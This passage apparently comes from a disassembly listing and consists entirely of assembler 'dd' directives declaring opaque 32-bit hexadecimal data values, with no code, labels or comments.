		dd 44307B2Ah, 606408F6h, 1EC4BDD3h, 0A8AEF436h,	321D4C0Ch
		dd 0CC94D7D4h, 0DD15940h, 1EC7AAA3h, 1554B326h,	8DFA8103h
		dd 8063D7A5h, 42AEE0F9h, 922C6CC7h, 8C46347h, 945236EDh
		dd 0A8B4FFF6h, 6F261B47h, 0A27779EEh, 0F81B91A0h, 0F5BD2E9Ah
		dd 8121FA62h, 0FAC1C0Ch, 0E27A8C50h, 78DC4FB2h,	0C484B56Ch
		dd 0C904EE1Ch, 8B7D3D4Eh, 5F34E745h, 0D05E65D6h, 0C0D93308h
		dd 0E7F375B3h, 54F94E71h, 0CBA2C108h, 2E11433Ah, 0A8E61F5Dh
		dd 55253B84h, 6E03B3C0h, 0FEA838F5h, 4A6CE6FFh,	123EBFDFh
		dd 948A9E1Dh, 0F85B9DFBh, 93177013h, 0D78961EEh, 0C77E6E33h
		dd 65AC9869h, 3DCC5DA6h, 4A30FA74h, 0F6A963E2h,	6BCFA6ADh
		dd 61F8F110h, 22B76507h, 0FD681A4Fh, 0C10E9D12h, 0B6B5C833h
		dd 2098AC3Dh, 98C06D83h, 928F6AAEh, 0C2C4FA05h,	8C127C48h
		dd 2533007Eh, 0AC696C21h, 0FB77505Eh, 0F92AB252h, 6601FF78h
		dd 0F1CCC7E2h, 0EE84C008h, 39063h, 0B82F5EEAh, 10D41217h
		dd 0C2443E60h, 28F554BFh, 292A3DDDh, 1445B60Ah,	23A2420Ch
		dd 9D56A518h, 0AFA1F42Ah, 0F471F32Bh, 883D8175h, 2D12A985h
		dd 0FB4EE1F2h, 2A7E9C5h, 2F66F672h, 8841EFE2h, 769C4A31h
		dd 62AB07DCh, 0AE9FF3CFh, 46E6BA0Ch, 8D35018Dh,	0A3068121h
		dd 748BC46Eh, 0B1301AF1h, 0E5538E0Dh, 0E7E4E280h, 4893D9B6h
		dd 0B48AF18Eh, 0EF58883h, 0CC3B7A34h, 0CD68A025h, 3106A63h
		dd 8393B616h, 51BCBBA1h, 6AED6DD2h, 0C5232945h,	0F63D7517h
		dd 67410E21h, 2F7951CCh, 0B21AC17Ch, 0A3F556D4h, 14BB0A44h
		dd 491B0C4Eh, 0AD5CFCA0h, 3996C10Fh, 0EE79B1EAh, 4822725Fh
		dd 0C49DB759h, 0CD46ABC7h, 0B9A085A1h, 3B75B683h, 0A11894AFh
		dd 35F8ABBFh, 0CD8ABB25h, 56417B92h, 95789BD8h,	0DB314B13h
		dd 5F8FB026h, 24A6B1B6h, 0F6BE144Ah, 0BEFB288Fh, 0D72018ACh
		dd 57431047h, 0C54B28DAh, 0EA0A7E68h, 31F3D257h, 5CA7A8BFh
		dd 6400B346h, 55341698h, 0A8FBAAAFh, 0ABBB0111h, 60BB1773h
		dd 2996FCB6h, 8779C0Bh,	0EAB58927h, 5E485407h, 42D28DD5h
		dd 0E1E6BAD3h, 31BF231Fh, 743B8ADh, 53F468C7h, 9FE0125Ah
		dd 0B442677Ah, 0F70E3BF3h, 298C89C2h, 0E163831Ah, 4B746584h
		dd 6326589Fh, 0ECC648A6h, 3FCF79E7h, 0BCE878Ch,	4B918A5Ah
		dd 0CCDDEACCh, 205F83F9h, 96356910h, 0A168A653h, 87579A3Ch
		dd 1C809F44h, 9923801Ah, 4D4864ACh, 2339F5D1h, 59BDE9Bh
		dd 0F64A5E3Bh, 1FFBD924h, 8588DA65h, 5EE56844h,	9D701F08h
		dd 0AAC19C4Eh, 0D134CB1Bh, 678B2DC5h, 4B42916Eh, 42802D1Dh
		dd 31DEF3DFh, 0EA74FF29h, 4B88099Bh, 0A96A4484h, 0F21EAC02h
		dd 58D41F57h, 0D57EE02h, 0E535C01Ch, 60031CCCh,	2F2B0E7Eh
		dd 90072AD4h, 0F3A2C432h, 0C981CD67h, 8A506B36h, 0DB20E36h
		dd 0CDEA4751h, 0F4E9FB28h, 68C87633h, 5541E871h, 0BD5785B2h
		dd 45A947CBh, 0FC23D600h, 3564D5B8h, 99238556h,	0D05ADDFDh
		dd 0C0028A6Dh, 0F580B3CEh, 13FE0B38h, 0EEDFD19h, 3A4D6078h
		dd 32B56746h, 41609E24h, 0A8E587D8h, 3929F867h,	88F4A997h
		dd 8812C5Ch, 0A812839Dh, 53347A75h, 10DD97FDh, 0EC6CF9D0h
		dd 0E8AB56C6h, 0BE0B429h, 0E1B7CAE4h, 8288DCCDh, 0D933C4BEh
		dd 3B5E8DB3h, 6F303257h, 51D8E322h, 588CBBE7h, 0F72CBD03h
		dd 371378F0h, 89677B1h,	774F8975h, 0EB095FDDh, 696239B6h
		dd 77034722h, 5FFEAAF7h, 570FD057h, 0AAF2DDCCh,	7A826251h
		dd 7F74C506h, 802DAD56h, 1C936B46h, 83906CB1h, 6687E197h
		dd 7474B49Eh, 42717A79h, 15FB6EDh, 4B451E5Dh, 8E530074h
		dd 3A0BE1F6h, 0E52EBAA9h, 24EA7993h, 18F1932h, 0FC946A96h
		dd 9C484F66h, 0DD461329h, 10A64205h, 0C90A6C00h, 0DC29B5DBh
		dd 0C73741Ah, 5144DFFEh, 0C6C8CB13h, 2481D13Fh,	0B9DDCE09h
		dd 3F6E8828h, 7B3E844h,	0C2B9453Ch, 0BF9B958Eh,	55A8084Dh
		dd 5115DDE1h, 5F36BC50h, 9F504E30h, 0BACD9E92h,	3DC069F6h
		dd 0D3250E2Ch, 0C0CA302Bh, 0E6EE9B9Dh, 55D3FF9Eh, 0E78C422h
		dd 43079C17h, 4078D686h, 908C5971h, 0D99C916h, 98461683h
		dd 7C120554h, 8958287Bh, 8EE19AA2h, 8F3A9570h, 0CE4CE56Bh
		dd 5243ACA0h, 4E4493AEh, 0FED3BE80h, 11221FC2h,	0D397274Fh
		dd 200AB718h, 0A5A52BF4h, 0C2AE55D8h, 0BC1C4549h, 0FF207B1h
		dd 0E03E2A9Fh, 31CD77B0h, 4BB77822h, 3C0260D0h,	91D4CA7Dh
		dd 8C33392h, 0C3BF6A24h, 50B3D984h, 0DB3674BCh,	0EA96B054h
		dd 0CA93DEB4h, 0B60FF8E4h, 8908E248h, 780B254Dh, 96BAD7C1h
		dd 876CEDDCh, 144BBF23h, 0E3789025h, 75EECB1Dh,	0A104486Bh
		dd 0EE7BEC68h, 26B9C709h, 602860BBh, 19C56442h,	296B0194h
		dd 200BEED4h, 47C8699h,	82113FA7h, 8A733492h, 0B1C16E23h
		dd 0F4483C76h, 7618BAADh, 0A44E7404h, 0EECDEA1Bh, 0C3C06416h
		dd 0DAF5F7F6h, 3DDD0E6Ch, 83140508h, 223A2970h,	7E64492Fh
		dd 0C81BDA2h, 0BFEEDC53h, 56174BB0h, 648E9156h,	460F7A39h
		dd 9CBEB905h, 78FE14D3h, 4A06E4B9h, 0BBF73410h,	0A0E2C3CAh
		dd 73F719E5h, 6F6E9576h, 85239E59h, 4AB5A1D9h, 0A74F715Dh
		dd 29D2CB8Eh, 59E01F9Eh, 8221D394h, 0D6479D17h,	760784EDh
		dd 49F1F37h, 6A019117h,	0A66BE76h, 0DAEED819h, 925ADE39h
		dd 1CC16CDh, 0DB2ED642h, 0E6C0F18Ch, 19C110E3h,	3B8EFE43h
		dd 50417511h, 29226185h, 523A4E2Dh, 7FC54747h, 54180C9h
		dd 0EF9335B3h, 0E6E580CAh, 19E42ABh, 483F58F2h,	0E8381175h
		dd 816D9E45h, 2A986460h, 0D1688873h, 6BF98BC0h,	61074D67h
		dd 3862DF09h, 2AC6A0D6h, 34ADDD0Dh, 4B3BD156h, 0C84683B0h
		dd 0C3EB0328h, 7AEE5B85h, 6C497E08h, 93DA2AB7h,	826B7D2Dh
		dd 0E37D01C8h, 0EBC729C4h, 7B089B7Bh, 0FBDCAE2h, 6764B209h
		dd 0B3A10D75h, 8C37F340h, 425D7BC5h, 3CD35AC8h,	68781209h
		dd 7585C29Fh, 0FDF1E20Bh, 7A296639h, 82AD0C10h,	0F093A428h
		dd 0EF8742A7h, 0E12419C5h, 9FFC0317h, 0CDCF96ADh, 737EE1D5h
		dd 0F7A26B76h, 0DF643002h, 9371B5F3h, 6A437424h, 305B741Bh
		dd 0C4B84114h, 48003ABCh, 6B1D2B26h, 0AEBDBDEDh, 0A3242512h
		dd 0D6D23B78h, 0E3DA31D4h
		dd 8182E9B0h, 0D665B77Dh, 0C1C0DBC0h, 3EB34868h, 15218211h
		dd 4030DF8Fh, 10645769h, 0C43B2DC2h, 3F0D771Fh,	579572DEh
		dd 0CC12AC03h, 16045AE9h, 731D219Dh, 285AB857h,	0ABD34745h
		dd 0D202C8C3h, 48451DD0h, 13E13B1Dh, 0DDE3CEFBh, 0A93B8EBCh
		dd 0F962474Dh, 611332BEh, 288ABFCAh, 8DEB2098h,	735A40F1h
		dd 0E9C18BCAh, 3613BF1Dh, 0D88167C1h, 31803760h, 0F85A5C55h
		dd 1188545Ch, 33414759h, 0DCB38CA9h, 0EA28312Eh, 0B99D8695h
		dd 0A54C26C8h, 0B369AA46h, 0B59841F8h, 1A5E4114h, 70EA0DF9h
		dd 788FC746h, 77221CDCh, 59FD6153h, 0E72DBBE5h,	44DDE4A6h
		dd 322F2E3Bh, 0F4C08B2Bh, 172F9CA7h, 2D087386h,	79E7E573h
		dd 64B5FF90h, 204699CDh, 3D4465D3h, 597D15B3h, 274121ABh
		dd 5650A5CFh, 83E8060Ch, 0E0692077h, 2EE7CA76h,	0F710848h
		dd 0EE3569A6h, 0B2FB248h, 0CDC0CC2Eh, 910CCCB5h, 590E8D19h
		dd 53DB414h, 0ED09CD21h, 2BFE30FAh, 14BEB49Ah, 0B1C727BBh
		dd 893D3795h, 3606DAE4h, 0B2264799h, 0A18D9E2Dh, 98D741F1h
		dd 761AAC06h, 0DF5A0616h, 519CCA42h, 41707B9Ah,	0B2347DAFh
		dd 263FF02Ah, 0C87A3827h, 0A38D63ACh, 4113534Eh, 0FCADFD99h
		dd 0AEEF55C0h, 265E31ACh, 7CF7F6C8h, 0E6A78584h, 9050E6C3h
		dd 0A33E7D58h, 12CCBEA6h, 389E3547h, 8CC9CFAh, 0ED08E597h
		dd 0D914BAD2h, 0C4705D55h, 0E6820469h, 0DC74A71Dh, 0C19EA85Eh
		dd 2A7F36Eh, 9CFC182Eh,	361634A2h, 0C9E616B6h, 63FA5FFEh
		dd 468A689Eh, 5AE4A8F9h, 4E6818D3h, 2E4B9454h, 0AFD11A80h
		dd 6680CFF9h, 71A61EFEh, 0D9B251A2h, 0ED40885Eh, 8619DEEAh
		dd 4DBF518Eh, 4CD668C4h, 3667765Ch, 1C7DAB63h, 0ADFCFA1Ah
		dd 0E01160BEh, 0D4DB9001h, 182A5A2Ch, 0EF3C9C1Eh, 375214BCh
		dd 0E007FB9Eh, 0F5429EBDh, 40ECC5FFh, 8EC4D484h, 9392D403h
		dd 0D54F321Dh, 4192A05Ah, 4441A13Eh, 0C2C7285Fh, 0FFF9D50Bh
		dd 0F474C97Eh, 9FE03828h, 0FB97EF43h, 5F729041h, 0C782C56Bh
		dd 522AAA19h, 7A7E7A54h, 0DDED121Bh, 30515A35h,	64521BA9h
		dd 7FC5CA9Dh, 0F12DFC7Ah, 0A75FAA6Fh, 40EA98E6h, 8B63378Fh
		dd 0E599D2A0h, 0CE5BD461h, 6E71117h, 0EB525894h, 339C95EAh
		dd 244FFh, 847F9F5h, 0CFC6B48Ch, 1700D6D5h, 9EBD11D5h
		dd 18FEB10Dh, 7450309Ch, 1CB8CF0Ah, 0BB86A3A1h,	7053F7F6h
		dd 573D9261h, 0C57F2952h, 831A1B31h, 442F6D4h, 0BEE54B3h
		dd 566D21F8h, 47CE96FBh, 97FAADE7h, 916854E6h, 0E7E3F168h
		dd 1D9981B1h, 1DD2A5Ch,	6FA68EAAh, 0C0E21859h, 0A4EF7370h
		dd 526EBEEBh, 0CEDC95DEh, 127E3DE6h, 70731D81h,	0D1B5C5CCh
		dd 20C07CBFh, 0C192AA3Bh, 3FAF464Fh, 48A51DCCh,	4106B215h
		dd 9692BFDCh, 0DC764463h, 0C148ECDh, 0E07C3496h, 71180520h
		dd 2E56100Eh, 0F1FD863Bh, 6852A992h, 7DD4355Dh,	489BE1E7h
		dd 58122EDFh, 18AD0A70h, 961AD4AEh, 70DFBE12h, 0A5C94070h
		dd 72AF7AD3h, 39594CF5h, 482E505Ah, 0EB8CD2F0h,	0F115BA82h
		dd 0D922274Ch, 7C44CA0h, 0F95442ECh, 15F2240Ch,	1BDBF62Ch
		dd 0A1C89A4Ch, 29A8802Ch, 0AD553402h, 6441163Ch, 16759FC9h
		dd 65F0A283h, 0FF7ED826h, 57BD0037h, 0C4942D39h, 90A3E71Bh
		dd 0A6171ACEh, 0ED79ABF1h, 95A3D233h, 817E991Fh, 8A582EAAh
		dd 29CA28E6h, 0EAD302F1h, 0B13B891Fh, 0BFAEFBF0h, 16B5E240h
		dd 67C189B2h, 1E24230h,	9A91BADh, 8205898Ch, 2B3770B0h
		dd 47175C31h, 6204F310h, 83C857ECh, 3D3B0738h, 0C695B752h
		dd 0A47AFACFh, 52E776DBh, 9E611A94h, 81FA5E53h,	0FF9A5AB9h
		dd 2FEDA8FFh, 5B840AF5h, 7CBD1FBEh, 770D77CFh, 8D9D1B8Fh
		dd 0F9E7355Ah, 2F77F7F0h, 953C896Bh, 3E43BEB5h,	1D376154h
		dd 4CEC8913h, 266BF4CDh, 0E6533EBEh, 0EFA4AD3Ah, 0F5525F1Bh
		dd 0AD278F6Dh, 134F0010h, 3AF1A4A5h, 2DB58D03h,	0EE9DC6F3h
		dd 204E73ADh, 0A3A327D9h, 947157F0h, 9A34A724h,	3D6F32ACh
		dd 1AC9C3F1h, 0B5688CF7h, 8E1D5592h, 0E2DF4310h, 51C3F1B5h
		dd 0A72E272Dh, 0BA62ECBBh, 88A53EE1h, 6538D9A9h, 0DEE0A8A7h
		dd 9D0BC0E7h, 0B9978C27h, 196104BCh, 0F55DEE2Dh, 0F00DF417h
		dd 0C018C52h, 4CDFEFFFh, 0D459A4D7h, 0B0E80E77h, 66D8FABDh
		dd 92106954h, 89365A98h, 0CD3B5016h, 0C97F9E3Eh, 0A8C53BAEh
		dd 6593F250h, 0F95032C5h, 6A587495h, 0ACECBA86h, 0E18285C3h
		dd 955381E1h, 6FBD5C20h, 0AF72EAD1h, 287B6F94h,	9704A753h
		dd 0EAAA4FC7h, 1165C346h, 0F048E86Ah, 626BD976h, 4DD489DEh
		dd 23858FE9h, 0C715F2A1h, 0BEEB5994h, 169A162h,	0C51C3B42h
		dd 1DDD1CFEh, 97D9A0AFh, 1A28C079h, 9D389740h, 792E9E33h
		dd 19CF87F0h, 0C809FAD1h, 3033CF30h, 0B6C8CF60h, 64B541Ah
		dd 0CA77601Fh, 3FC6FEF1h, 564C274Fh, 193D67F7h,	1F54BE6h
		dd 0A86258BEh, 61D7C32Ah, 2A4B1A73h, 7AFA5BFCh,	0B6626DE6h
		dd 0EFAAA719h, 0B2D37D73h, 0D0811A92h, 9C68362Ch, 0D66CC741h
		dd 8388D549h, 5547DC6Fh, 10028695h, 155E1086h, 0C793546Eh
		dd 8A14A8D3h, 279AB331h, 4495FBE9h, 0FA66E3ADh,	30841D96h
		dd 0AE758EE5h, 9A904D7Fh, 6A381D93h, 0A264B63h,	0AA094B5Eh
		dd 2336066Bh, 0C6C3536Fh, 3A9D3780h, 9A1FC6C7h,	0D047F7DBh
		dd 78FBE8D0h, 0D92F137h, 88DE05A3h, 6DF6ACC9h, 3B21435Dh
		dd 0BA8E81DCh, 8B661A55h, 0EC759B4Fh, 0AC340A93h, 18AE373Bh
		dd 0E6876B35h, 7AC014EBh, 67A2F86Ch, 0ADBFF8DEh, 0C65DD351h
		dd 65639367h, 7545194h,	284ACA84h, 5E503AA1h, 64878F43h
		dd 4C615A53h, 0B37A62D3h, 0CB8AE873h, 121DECA9h, 70B7F804h
		dd 1A816E13h, 0C82AD354h, 3535AB4h, 0AB750121h,	3D08EC99h
		dd 0CF998028h, 7A66991Fh, 8ADB6886h, 27387ADAh,	0ABF49AE6h
		dd 6EDEAC62h, 8611051Dh, 8AE050CAh, 8BFF5168h, 6A6C724Fh
		dd 9AA528BBh, 0C3ECB187h, 4F33F515h, 0D708B547h, 0E23B4651h
		dd 87932204h, 4A47A05Bh, 0A0F13B59h, 2A9B48DCh,	79DE8E57h
		dd 6C9E3071h, 2CBC0A72h, 1DB59277h, 63630005h, 9CCA6BA9h
		dd 0F398AFCFh, 0AF61D4E2h, 0C8BDBB9Fh, 4AE2249Fh, 0E560DCA1h
		dd 59E56C7Dh, 67DBFA21h, 3B79951Eh, 0CCCF27DEh,	9CA280A6h
		dd 2636722Eh, 0A0A56335h, 5F9D090Ah, 8C8E8F5Ch,	681DA651h
		dd 4AD5EEB2h, 8016DF9Dh, 646A3DD3h, 4544926Ah, 0D8BC169Ah
		dd 50FC5FE9h, 42F4EF19h, 96CB8701h, 973ED9ECh, 0B38D659Ah
		dd 44F09C0Bh, 48178285h, 0EDEAFACBh, 4F4E770Dh,	3491CCA6h
		dd 56934BB0h, 5FF9560Fh, 4739A4F4h, 0B04276DFh,	777D282h
		dd 0E1661EBh, 0C05A0245h, 48715A1h, 822055F0h, 66341396h
		dd 57C0B8D0h, 9E530723h, 514C6E54h, 0FCBD1C3Ah,	0B0C78C04h
		dd 0AFC227FFh, 12CA662Fh, 911E6CAEh, 0A731BDC8h, 0CEC432B5h
		dd 770D2242h, 0CA3D0F14h, 822EC074h, 7D4DA0A6h,	2A7B77AFh
		dd 0F3D94FEFh, 0D7D34350h, 29A704B4h, 0AC111FC7h, 0A05AC983h
		dd 8DE4CB9Eh, 0F8B557F2h, 0D1E1857h, 0C1CE9B0Ch, 2C481E4Dh
		dd 248FCCD2h, 0BC8FF283h, 0D0FFD684h, 0C926244Ah, 0F12EC17Eh
		dd 4B6ED526h, 53082CA9h, 0ED334515h, 977E8C44h,	780073C5h
		dd 7C49B225h, 50966DBCh, 0C6DB3504h, 0EB838A6Eh, 0B2D667EBh
		dd 78D9BF80h, 0B1C5A127h, 4737BA14h, 8297768h, 305A73A6h
		dd 0ED11F00Fh, 0F2153C02h, 5EB06482h, 1BB34736h, 8FAE519Eh
		dd 7DA8C686h, 0ED446A31h
		dd 3642B681h, 587F6EB0h, 0EF049DFBh, 66F9A3F4h,	6DDB43DCh
		dd 649C81A3h, 0DC1CDFFDh, 29500162h, 0D3BC7Eh, 7A0946A5h
		dd 7EF66E68h, 29BC93E1h, 0D16B76E9h, 1328A001h,	0A16DD537h
		dd 0E1DCA2D6h, 72B9E781h, 7A3550B3h, 0D671593Eh, 41387978h
		dd 0A176C64Fh, 0BC952D5Eh, 0CBE23EACh, 10A06B41h, 1A0FA6D9h
		dd 0B0536BF1h, 0C36F781Ch, 0AD4699Dh, 0F77EA00h, 0A6E90878h
		dd 45F02E4Ch, 12FCB394h, 819019Fh, 0B23F9319h, 144DA513h
		dd 0E015F3C6h, 323C3AEBh, 4A4D2E52h, 0C75B8566h, 0CC455AC2h
		dd 5B14DD0Ah, 0F5798F19h, 0E66A4562h, 4B78BA1Eh, 0C9BAD262h
		dd 6E876D9h, 505B618Bh,	0F6223360h, 0CAB3DD38h,	1D58D669h
		dd 9AD56985h, 6A264081h, 68F64E85h, 0DE6B0B2h, 0A814FE28h
		dd 5F9170B6h, 23680182h, 874189FEh, 477A9F3Bh, 0FA4A0C8Ah
		dd 0F4C206A7h, 9177A36Eh, 0D5D093EAh, 3A4170CEh, 19EDE033h
		dd 52CFE30Fh, 5187E93h,	2C80766Dh, 0C69D5130h, 0ED64F26Eh
		dd 0D50E01E9h, 729D49F9h, 5C78407Eh, 83636228h,	5642A437h
		dd 0E71D9903h, 0A9701830h, 0F1F14FCCh, 5E9D1642h, 0B9E960A2h
		dd 8D033979h, 52C8A740h, 62445D56h, 0CAB638AFh,	79C850E4h
		dd 1BBA1BCh, 532DC3DAh,	0D555E9E5h, 8C8A14DAh, 2CCBAE77h
		dd 0B796C735h, 0CA17FA49h, 63312B90h, 400F7DBEh, 429F299Eh
		dd 2DD0EE63h, 0E23B4714h, 32CBB3E0h, 3061E5BBh,	0AD53D390h
		dd 0CAA12C86h, 171C9D8Ah, 85DE8AF9h, 818937E1h,	91729E5Bh
		dd 0C60D7608h, 3F350B32h, 0A6E6C3D0h, 922FE7DEh, 9482F66Dh
		dd 0EF185C3Eh, 0EB67535Ch, 0B8CA713h, 0A3D793CAh, 0AB4734D7h
		dd 2C67734h, 801729C2h,	0EE3C5CD9h, 0C19B260Dh,	55BD8D3Dh
		dd 35C58E40h, 563DCEC5h, 92F6E01Bh, 0EF9CE3A9h,	5D4377Bh
		dd 313086E7h, 5CA5504Dh, 0CD54A4E7h, 5B345117h,	0AFA1D1E2h
		dd 798849C2h, 0D828AD8Dh, 345D8126h, 0CC7790FBh, 840163CBh
		dd 81D3EF43h, 0E2EA0084h, 1264843Ch, 817DA76Bh,	496EBC03h
		dd 0BD9E0970h, 80EDD7CFh, 73A646DFh, 9A3E7A41h,	98EB1C88h
		dd 0F119FCCDh, 0BB805BBFh, 0D68622DAh, 0BA01EF6Ah, 0E8209B34h
		dd 6EBB0A13h, 91ED9B2Ch, 0C2AB2AB2h, 0D349EB1Ah, 0B2620301h
		dd 9D42E7BDh, 0AACA3D3Dh, 0ACABCD5Bh, 994B65B5h, 2E6338C4h
		dd 0FD6C11B8h, 97EAAE84h, 1EC3F9C2h, 86DA3B6Dh,	0E104AA3Eh
		dd 0ECC36007h, 0E6906715h, 0D97AF4F2h, 4258142h, 0B1A0FA3Fh
		dd 0C895DBC3h, 9AFEB613h, 2F8C48DEh, 0D26CA155h, 45A375B5h
		dd 677CE371h, 68BB0D6Bh, 11BAC476h, 0E392A7B1h,	11741145h
		dd 46E3EA8Fh, 3B789E76h, 0A5173AABh, 48E5F5C6h,	8A25DFB2h
		dd 0FAADEDF2h, 0F17C53ACh, 0AB1AD530h, 943A053h, 5F4CC90h
		dd 0B188D545h, 0F46E3D25h, 39CDEB7h, 24F74224h,	6DEB5B11h
		dd 2F4C494Ah, 52E807EEh, 26B28963h, 2087B795h, 5E4A8FD7h
		dd 0F93FE3ADh, 56BB7F01h, 55A59F76h, 0D6F031ECh, 0DA1DE1BBh
		dd 0A1936B3Dh, 20B701B4h, 516E886Ah, 0E11B73F9h, 19362CA6h
		dd 0B09E314Ch, 45035B3Bh, 0B2F4BE07h, 4106EFDh,	0CE287588h
		dd 1FD62F4Eh, 0DB214396h, 0C0D89CECh, 9DC26ACEh, 74467440h
		dd 82507206h, 77E08095h, 0AA492587h, 94A5EE6Eh,	2E5D24Ah
		dd 78697806h, 0D5FD40C0h, 0B99CE1Eh, 74250251h,	0B9DB2A5Fh
		dd 9A588E94h, 77040427h, 0BCA82D72h, 65F23E11h,	3B1E7976h
		dd 690DE029h, 0E7278784h, 0BC91FFF3h, 8276F520h, 6A07D48Ch
		dd 0B0F07211h, 0F0D519B0h, 27488D30h, 0C22193D7h, 8A516B54h
		dd 0ECE73FC2h, 82FE1CBAh, 68904967h, 19E10671h,	4AEF9677h
		dd 213B40C8h, 8CB6C32Ch, 7A3FCA55h, 7E5BDBE8h, 0DDCB87Bh
		dd 0CF2C66E8h, 0C28BD34Dh, 699A992Ch, 90E183EFh, 0C6E50E20h
		dd 22F85068h, 3C140229h, 8995E1B2h, 2D1759EEh, 7EBDE342h
		dd 9B143755h, 5E98E134h, 718C2568h, 0AEF549Ch, 50104A86h
		dd 497A7033h, 5E252131h, 2DA6CEF9h, 955BF918h, 597ABAA7h
		dd 0E188937Dh, 54D9E40Bh, 0A15135EEh, 81D83097h, 0AB58DA8Fh
		dd 0D6FE71D7h, 512C42E6h, 0ADB98E97h, 9C97E27Ch, 60ED2920h
		dd 547114B8h, 55069C6Ah, 0F7E38B75h, 84E3B08Ah,	1DD89CC6h
		dd 3A2C00C4h, 4AB6C30Fh, 6706B928h, 0C360E415h,	55271B7Ch
		dd 6F04349Ah, 16361DA1h, 1FB02D01h, 0D7D53FD0h,	57CF8149h
		dd 65A916C1h, 26E49336h, 3D4A64B6h, 4167A89Dh, 0ACBF797h
		dd 32349210h, 258C161Ch, 18ED42F3h, 5E794D2h, 53E9BEC1h
		dd 59443503h, 9513CDAAh, 73E351D5h, 6CEB049Dh, 18E24652h
		dd 5F7269BEh, 0DE4CAE4Dh, 0EAAFDC4Bh, 0E855EA87h, 8C12FA99h
		dd 1EE8CC79h, 830BDD2h,	8EAC6C22h, 8602A652h, 0F69B3FFFh
		dd 0EE7B371Ch, 0A242DEFh, 7D615603h, 0B6F8F1E1h, 499DD707h
		dd 52929280h, 582947FFh, 40E5CC0Dh, 0D03239F4h,	2BA9AC3Bh
		dd 0C093AEE2h, 0E53838Ch, 1F0E6CBCh, 82E47B04h,	540223C6h
		dd 5A41B0h, 7905792h, 8D34D63Fh, 26E7317Bh, 0BB5D2EDEh
		dd 8DB7DEBCh, 0D2499D6Dh, 2AFABF63h, 0B9F3A7DEh, 3FA3F5Bh
		dd 9066297Ah, 92023036h, 0FE1CE9D6h, 208B131Ah,	1F256A2Eh
		dd 0E519EF67h, 47EEE1F7h, 0F1EEC90Bh, 1CA25C8Ch, 0F10D1BC6h
		dd 0DA5AFDA9h, 0CE0A2A04h, 0F4154B5Ch, 0CCCE2E9h, 0B663AD1Dh
		dd 1808567Ch, 0ECC8969Ah, 64852396h, 98E2C7CBh,	0E371B1ACh
		dd 1E1B1795h, 0F7CE9D6Fh, 0E11CCC94h, 1DF902EFh, 2D779D0h
		dd 0AD80DACBh, 0CCF1E08Ah, 5E5295CFh, 5C65957Fh, 500A2691h
		dd 20A19F19h, 9A7D949Eh, 77D1562Fh, 4D4BB62Bh, 58599D68h
		dd 6C6F2FCFh, 0AB99EDBh, 69C76E5Bh, 1106D1BFh, 8862B392h
		dd 878CF200h, 5CA66D43h, 4D44CF8Ah, 0B2455520h,	0E59FFCAFh
		dd 76498ADBh, 0FEE8B9EEh, 590E1A82h, 71779455h,	0BFBC210Fh
		dd 0D5BF9D7Fh, 3570B474h, 4A6BF36Ch, 2B99FAFFh,	0CD09BD54h
		dd 2294D3A5h, 6454D4D4h, 15CD9461h, 0B1CFFFBEh,	684CE9AEh
		dd 33C5025h, 0CA48385Eh, 0F65906DAh, 1411D8E3h,	23A34D87h
		dd 55EA4BF4h, 0A565613h, 52F27F0Bh, 5102FCA1h, 0FC47C02Ah
		dd 6A0B9E82h, 851EEEE9h, 0B6AFE140h, 0D46534A7h, 0DEA25E0Dh
		dd 31EF12B3h, 81494F6h,	58B23291h, 160CCA54h, 2C44B89h
		dd 0CA6FF121h, 0B4C06C97h, 0A7C26E56h, 9F5F736Dh, 89FFB740h
		dd 5BE4B24Bh, 9A534929h, 9A704221h, 0AED484FBh,	7E21100Ah
		dd 0A02D6578h, 490F1266h, 0C03074A2h, 77131EC4h, 354D073Ah
		dd 8B85430Ah, 0B5A0611Fh, 0E9E1A2DCh, 746AF7FDh, 5C131C71h
		dd 0B49B5562h, 2D00652h, 4AE4A2BAh, 0A93F30D9h,	2417114Bh
		dd 0EDBB910h, 2633ED49h, 0F38E2437h, 7BD97E1Ch,	168B98B4h
		dd 0F358383Eh, 7251D7EDh, 2FA2C388h, 95D91EEh, 0C4B259BBh
		dd 4E02D368h, 0BAC403BCh, 0CCCB534Ch, 23750D9Eh, 0BE354AA9h
		dd 77448405h, 97AA1268h, 91ADD27Ch, 0FA32CB72h,	613A1A7Dh
		dd 6BFDABDFh, 4732200Fh, 0B6388DEFh, 461C8FF3h,	55BD2652h
		dd 0AAEC3762h, 3347444h, 363E8D9Eh, 68B6D0E4h, 0A13497B4h
		dd 7149489Fh, 658BC334h, 95C6EC19h, 18D00A3Bh, 16B3FD8h
		dd 507E8A35h, 0DBC4F62Ah, 0EF6AC0F8h, 85B5BBDFh, 39720398h
		dd 1A2EDEADh, 3ED5FB96h, 0CDEFEE1Ch, 690FEAA8h,	816D0D2Dh
		dd 1F9BA39Dh, 0DBAF936h, 0F99A2F71h, 0E7D6489Ah, 0E8779A62h
		dd 0D639B66Dh, 0AB797DB8h, 0FDFB6625h, 29A90150h, 0AECF1DEAh
		dd 0A04AC52Dh, 940CB5AFh
		dd 2D1D8B2Bh, 0E951EFBFh, 5215CFB8h, 0B040D11Bh, 3780F360h
		dd 7FC603CCh, 11E1ACD3h, 19633CF2h, 0B548731Fh,	0E02D293Bh
		dd 86C488AAh, 0B041BED6h, 5594A53Bh, 328C998h, 80008DF6h
		dd 0DD6AF982h, 708A6E24h, 0CA3496F0h, 1A1AEF2Fh, 4E8F14EEh
		dd 4B62E1CFh, 0C04E5B2Dh, 0BFE11F2h, 37AD7402h,	0AEFACE6Dh
		dd 7225D4A4h, 0DD39517Fh, 0C6C031AAh, 8538C302h, 4C690D65h
		dd 7CAE57E7h, 2918E634h, 0BB537EC9h, 90E82ACCh,	2B1B7D8Eh
		dd 0E98A4D44h, 1C709C66h, 0B5C706CDh, 7698926Bh, 5091DB45h
		dd 6F2B69B8h, 60565FBBh, 50BEEFEAh, 49731D6Bh, 3A4B0F88h
		dd 1BACC6ECh, 2A4BF718h, 0B4FD3AD6h, 9750EE32h,	0AF935FD3h
		dd 0D5573D7h, 34B5DDB2h, 23CF573Eh, 54235A40h, 20664064h
		dd 3CFBD6A7h, 0BB23FB84h, 66C3853Fh, 28F663F8h,	55D3B625h
		dd 0F300CED6h, 68343716h, 738933DCh, 0EB83F1FDh, 80946A9Dh
		dd 0A8119DF8h, 0F58056A6h, 196B306Dh, 72D9F746h, 8BC42692h
		dd 0B92E6C66h, 0FA9A11BAh, 255DDC6Fh, 732BB1B2h, 0C6ED1E61h
		dd 0A6C7F720h, 4E5C2295h, 8ADF8587h, 0A8543D6Bh, 98F939Dh
